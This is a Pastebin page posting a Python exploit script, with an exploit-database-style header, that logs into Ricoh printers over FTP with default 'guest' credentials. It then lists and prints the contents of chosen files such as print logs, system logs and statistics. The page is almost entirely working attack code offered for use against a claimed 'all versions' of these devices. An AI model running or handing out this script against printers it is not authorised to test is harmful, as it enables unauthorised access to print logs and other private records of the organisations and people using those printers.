Advertisement
FlyFar

Ricoh Printer - Directory and File Exposure

Jan 30th, 2024
590
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.01 KB | Cybersecurity | 0 0
  1. #Exploit Title: Ricoh Printer Directory and File Exposure
  2. #Date: 9/15/2023
  3. #Exploit Author: Thomas Heverin (Heverin Hacker)
  4. #Vendor Homepage: https://www.ricoh.com/products/printers-and-copiers
  5. #Software Link: https://replit.com/@HeverinHacker/Ricoh-Printer-Directory-and-File-Finder#main.py
  6. #Version: Ricoh Printers - All Versions
  7. #Tested on: Windows
  8. #CVE: N/A
  9.  
  10. #Directories Found: Help, Info (Printer Information), Prnlog (Print Log), Stat (Statistics) and Syslog (System Log)
  11.  
  12. from ftplib import FTP
  13.  
  14. def ftp_connect(ip):
  15.     try:
  16.         ftp = FTP(ip)
  17.         ftp.login("guest", "guest")
  18.         print(f"Connected to {ip} over FTP as 'guest'")
  19.         return ftp
  20.     except Exception as e:
  21.         print(f"Failed to connect to {ip} over FTP: {e}")
  22.         return None
  23.  
  24. if __name__ == "__main__":
  25.     target_ip = input("Enter the Ricoh Printer IP address: ")
  26.    
  27.     ftp_connection = ftp_connect(target_ip)
  28.     if ftp_connection:
  29.         try:
  30.             while True:
  31.                 file_list = ftp_connection.nlst()
  32.                 print("List of Ricoh printer files and directories:")
  33.                 for index, item in enumerate(file_list, start=1):
  34.                     print(f"{index}. {item}")
  35.                
  36.                 file_index = int(input("Enter the printer index of the file to read (1-based), or enter 0 to exit: ")) - 1
  37.                 if file_index < 0:
  38.                     break
  39.                
  40.                 if 0 <= file_index < len(file_list):
  41.                     selected_file = file_list[file_index]
  42.                     lines = []
  43.                     ftp_connection.retrlines("RETR " + selected_file, lines.append)
  44.                     print(f"Contents of '{selected_file}':")
  45.                     for line in lines:
  46.                         print(line)
  47.                 else:
  48.                     print("Invalid file index.")
  49.         except Exception as e:
  50.             print(f"Failed to perform operation: {e}")
  51.         finally:
  52.             ftp_connection.quit()
  53.            
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement